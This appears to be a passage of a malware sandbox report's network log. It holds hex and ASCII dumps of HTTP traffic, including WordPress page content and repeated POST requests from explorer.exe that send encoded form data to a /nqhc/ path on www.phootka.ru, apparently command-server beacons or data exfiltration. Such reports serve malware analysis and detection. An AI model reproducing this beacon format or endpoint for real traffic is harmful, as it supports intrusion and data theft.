31 31 3b 20 67 6f 67 6f 74 6f 70 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 67 6f 67 6f 74 6f 70 20 26 72 61 71 75 6f 3b 20 ed 94 bc eb 93 9c 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 67 6f 67 6f 74 6f 70 20 26 72 61 71 75 6f 3b 20 eb 8c 93 ea b8 80 20 ed 94 bc eb 93 9c 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 Data Ascii: 277a<!DOCTYPE html><html lang="ko-KR"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='noindex, nofollow' /><title> – gogotop</title><link rel='dns-prefetch' href='//xn--299aa717y.xn--3e0b707e' /><link rel="alternate" type="application/rss+xml" title="gogotop » " href="http://xn--299aa717y.xn--3e0b707e/feed/" /><link rel="alternate" type="application/rss+xml" title="gogotop » " href="http://xn--299aa717y.xn--3e0b707e/comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","sour
Dec 5, 2022 15:17:33.286931038 CET	11868	IN	Data Raw: 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 Data Ascii: ce":{"concatemoji":"http:\/\/xn--299aa717y.xn--3e0b707e\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.1.1"}};/! This file is auto-generated /!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");functi
Dec 5, 2022 15:17:33.287020922 CET	11869	IN	Data Raw: 65 72 79 74 68 69 6e 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 2c 22 66 6c 61 67 22 21 3d 3d 6f 5b 72 5d 26 26 28 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f Data Ascii: erything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=funct
Dec 5, 2022 15:17:33.287103891 CET	11870	IN	Data Raw: 6f 20 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 Data Ascii: o img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}</style><style id='wp-block-site-title-inline-css'>.wp-block-site-tit
Dec 5, 2022 15:17:33.287168980 CET	11872	IN	Data Raw: 6f 6e 29 29 7b 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 2e 77 70 2d Data Ascii: on)){color: inherit;}</style><style id='wp-block-template-part-inline-css'>.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}</style><style id='wp-block-heading-inline-css'>h1.has-background,h2.ha
Dec 5, 2022 15:17:33.287242889 CET	11873	IN	Data Raw: 63 68 5f 5f 6c 61 62 65 6c 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 61 72 63 68 5f 5f 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 3a 38 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 Data Ascii: ch__label{width:100%}.wp-block-search__input{padding:8px;flex-grow:1;margin-left:0;margin-right:0;min-width:3em;border:1px solid #949494;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{mar
Dec 5, 2022 15:17:33.287338972 CET	11874	IN	Data Raw: 70 78 7d 40 6d 65 64 69 61 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 Data Ascii: px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-lig
Dec 5, 2022 15:17:33.287420034 CET	11876	IN	Data Raw: 2e 68 61 73 2d 68 75 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 68 75 67 65 29 7d 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 Data Ascii: .has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear
Dec 5, 2022 15:17:33.287499905 CET	11876	IN	Data Raw: 6f 70 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 68 74 6d 6c 20 3a 77 68 65 72 65 28 5b 73 74 79 6c 65 2a 3d 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 5d 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 68 Data Ascii: op-style:solid}html :where([style=border-right-width]){border-right-style:solid}html :where([style=border-bottom-width]){border-bottom-style:solid}html :where([style=border-left-width]){border-left-style:solid}html :where(img[class=wp-imag
Dec 5, 2022 15:17:33.287578106 CET	11877	IN	Data Raw: 34 30 30 30 0d 0a 3c 73 74 79 6c 65 20 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 Data Ascii: 4000<style id='global-styles-inline-css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf
Dec 5, 2022 15:17:33.449146986 CET	11879	IN	Data Raw: 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 65 72 79 2d 6c 69 67 68 74 2d 67 72 61 79 2d 74 6f 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 Data Ascii: 00%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	49889	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:38.679825068 CET	11915	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 30 30 74 7a 54 4a 7e 72 30 38 51 59 39 58 46 69 39 5a 33 54 5a 69 32 4f 42 71 77 42 77 57 32 67 68 45 5a 36 6e 37 31 4e 41 37 76 47 31 48 68 53 62 39 56 2d 78 51 73 74 38 41 4d 59 73 67 65 54 6b 6d 7a 53 28 35 79 34 79 63 79 6f 76 72 64 39 35 6c 6e 44 49 5a 28 51 4f 71 48 6f 37 76 37 38 53 31 67 53 46 58 62 63 56 50 74 30 47 6e 42 79 68 56 62 52 6e 53 6a 65 39 58 72 68 34 6b 73 36 50 4d 4c 35 4e 6d 4e 76 4e 4e 64 5f 5a 37 30 4c 50 49 6d 74 6a 55 4c 41 4e 45 7a 2d 44 4f 33 37 71 68 7a 34 66 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=qzsJWq5kgVlN00tzTJ~r08QY9XFi9Z3TZi2OBqwBwW2ghEZ6n71NA7vG1HhSb9V-xQst8AMYsgeTkmzS(5y4ycyovrd95lnDIZ(QOqHo7v78S1gSFXbcVPt0GnByhVbRnSje9Xrh4ks6PML5NmNvNNd_Z70LPImtjULANEz-DO37qhz4fA).
Dec 5, 2022 15:17:38.727799892 CET	11916	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Dec 2022 14:17:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Dec 5, 2022 15:17:38.727895975 CET	11918	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Dec 5, 2022 15:17:38.727972031 CET	11919	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
Dec 5, 2022 15:17:38.728043079 CET	11920	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 20 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 74 28 31 29 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: throw RangeError ("punycode_bad_input(1)"); } digit = decode_digit(input.charCodeAt(ic++)); if (digit >= base) { throw RangeError("puny
Dec 5, 2022 15:17:38.728099108 CET	11922	IN	Data Raw: 30 2c 20 6c 65 6e 20 3d 20 6f 75 74 70 75 74 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 61 73 65 5f 66 6c 61 67 73 5b 69 5d 29 20 7b 0a 20 20 20 20 20 Data Ascii: 0, len = output.length; i < len; i++) { if (case_flags[i]) { output[i] = (String.fromCharCode(output[i]).toUpperCase()).charCodeAt(0); } } } return this.utf16.enco
Dec 5, 2022 15:17:38.728207111 CET	11923	IN	Data Raw: 30 3b 20 6a 20 3c 20 69 6e 70 75 74 5f 6c 65 6e 67 74 68 3b 20 2b 2b 6a 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 6a 76 20 3d 20 69 6e 70 75 74 5b 6a 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 6a Data Ascii: 0; j < input_length; ++j) { ijv = input[j]; if (ijv >= n && ijv < m) m = ijv; } if (m - n > Math.floor((maxint - delta) / (h + 1))) { throw RangeError("punycode_overflow
Dec 5, 2022 15:17:38.728389025 CET	11924	IN	Data Raw: 6f 41 53 43 49 49 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 20 64 6f 6d 61 69 6e 20 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 6d 61 69 6e 5f 61 72 72 61 79 20 3d 20 64 6f 6d 61 69 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 0a 20 20 20 20 20 Data Ascii: oASCII = function ( domain ) { var domain_array = domain.split("."); var out = []; for (var i=0; i < domain_array.length; ++i) { var s = domain_array[i]; out.push( s.match(/[^A-Za
Dec 5, 2022 15:17:38.728507042 CET	11926	IN	Data Raw: 65 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6c 6f 67 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 33 30 70 78 20 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 Data Ascii: een; } .logo { padding: 30px 40px; } .content { display: flex; justify-content: space-between; margin: 0 82px; } .left { display: fl
Dec 5, 2022 15:17:38.728631973 CET	11927	IN	Data Raw: 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 Data Ascii: : 15px; } } </style></head><body><header> <div class="logo"> <a href="https://www.nic.ru/"> <svg width="100" height="42" viewBox="0 0 100 42" fill="none" xmlns="http://www.w3.org/2
Dec 5, 2022 15:17:38.728702068 CET	11928	IN	Data Raw: 32 30 2e 39 34 37 35 5a 22 20 66 69 6c 6c 3d 22 23 31 34 32 39 35 45 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 35 33 2e 31 35 30 39 20 31 34 2e 31 37 38 38 43 35 33 2e Data Ascii: 20.9475Z" fill="#14295E"></path> <path d="M53.1509 14.1788C53.1695 14.0678 53.1828 13.9659 53.1923 13.8744C53.2017 13.7815 53.2065 13.6867 53.2065 13.5876C53.2065 13.1011 53.0556 12.7287 52.7556 12.47C52.455 12.211 52.0227
Dec 5, 2022 15:17:38.774024963 CET	11930	IN	Data Raw: 36 34 30 35 20 31 30 2e 30 34 39 34 43 36 35 2e 39 36 37 38 20 31 30 2e 30 34 39 34 20 36 35 2e 33 35 32 31 20 31 30 2e 31 37 35 37 20 36 34 2e 37 39 32 20 31 30 2e 34 32 35 37 43 36 34 2e 32 33 31 37 20 31 30 2e 36 37 37 39 20 36 33 2e 36 31 33 Data Ascii: 6405 10.0494C65.9678 10.0494 65.3521 10.1757 64.792 10.4257C64.2317 10.6779 63.6136 11.0274 62.9346 11.475L63.2065 10.3343L58.7385 10.3351L58.2337 12.5144H59.3852L57.5098 20.6619H60.8287L62.5044 13.3418C62.9323 13.1149 63.3172 12.9453 63.6601

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.11.20	49890	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:40.743613958 CET	11957	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 75 55 39 7a 55 71 57 72 34 4d 51 66 33 33 46 69 79 35 32 59 5a 69 79 4f 42 75 70 61 78 67 6d 67 68 6d 42 36 6f 61 31 4e 4a 72 76 47 39 6e 67 61 55 64 55 38 78 51 6f 4c 38 46 30 59 73 67 4b 54 6c 54 76 53 6f 35 79 37 39 38 7a 61 6e 4c 64 2d 39 6c 6e 4a 49 5a 7a 6d 4f 75 48 6f 38 65 58 38 52 33 49 53 48 31 7a 64 66 50 74 79 41 6e 42 78 6f 31 62 50 6e 53 76 57 39 57 54 78 34 33 77 36 4f 76 54 35 66 57 4e 73 48 39 63 31 52 62 31 70 49 34 37 49 6b 6e 7a 6c 56 55 76 4d 41 5f 72 73 6e 68 75 72 64 54 58 4d 79 7a 56 71 53 41 43 36 58 75 66 65 66 70 6a 72 78 31 59 53 41 73 55 56 42 4d 53 36 78 6c 79 47 75 62 76 61 52 59 33 53 34 35 66 74 44 77 64 4d 5a 32 75 53 7a 65 66 32 66 79 52 4d 57 68 50 5a 74 34 44 6f 64 4a 45 6a 50 38 6c 52 76 32 5a 41 57 33 53 36 53 6b 49 77 53 56 4c 4a 47 53 37 77 6f 65 50 4a 76 42 4d 64 77 48 46 45 67 4c 73 6c 62 67 4b 61 6a 57 7e 33 41 31 55 61 44 76 61 55 79 43 39 52 73 33 46 49 78 70 45 70 43 5a 61 6e 34 48 45 6d 66 47 75 66 54 54 78 59 35 6f 58 31 4d 30 63 43 55 47 34 66 6e 48 42 70 33 58 53 41 45 55 75 45 71 4f 56 52 59 69 46 62 49 74 4a 70 31 50 59 59 6b 35 5a 61 4b 62 57 55 43 33 73 4f 33 4e 59 56 62 65 42 73 45 6f 42 4a 51 50 35 61 58 76 7a 45 46 5f 57 46 28 38 55 31 49 35 58 47 6d 7a 51 68 63 35 66 6c 43 56 69 4d 44 55 33 4c 4a 4b 76 72 70 6e 56 33 4d 42 77 43 4a 64 71 4d 6d 55 73 34 76 41 64 51 6a 6a 44 6f 57 58 73 2d 70 77 39 6d 6b 69 33 61 49 79 55 6c 73 77 35 62 7a 41 51 4c 43 32 59 45 41 4e 53 70 58 47 59 62 72 4b 39 38 43 77 68 54 59 55 52 57 4f 38 4f 38 43 76 55 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=qzsJWq5kgVlNuU9zUqWr4MQf33Fiy52YZiyOBupaxgmghmB6oa1NJrvG9ngaUdU8xQoL8F0YsgKTlTvSo5y798zanLd-9lnJIZzmOuHo8eX8R3ISH1zdfPtyAnBxo1bPnSvW9WTx43w6OvT5fWNsH9c1Rb1pI47IknzlVUvMA_rsnhurdTXMyzVqSAC6Xufefpjrx1YSAsUVBMS6xlyGubvaRY3S45ftDwdMZ2uSzef2fyRMWhPZt4DodJEjP8lRv2ZAW3S6SkIwSVLJGS7woePJvBMdwHFEgLslbgKajW~3A1UaDvaUyC9Rs3FIxpEpCZan4HEmfGufTTxY5oX1M0cCUG4fnHBp3XSAEUuEqOVRYiFbItJp1PYYk5ZaKbWUC3sO3NYVbeBsEoBJQP5aXvzEF_WF(8U1I5XGmzQhc5flCViMDU3LJKvrpnV3MBwCJdqMmUs4vAdQjjDoWXs-pw9mki3aIyUlsw5bzAQLC2YEANSpXGYbrK98CwhTYURWO8O8CvU.
Dec 5, 2022 15:17:40.790687084 CET	11959	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 05 Dec 2022 14:17:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 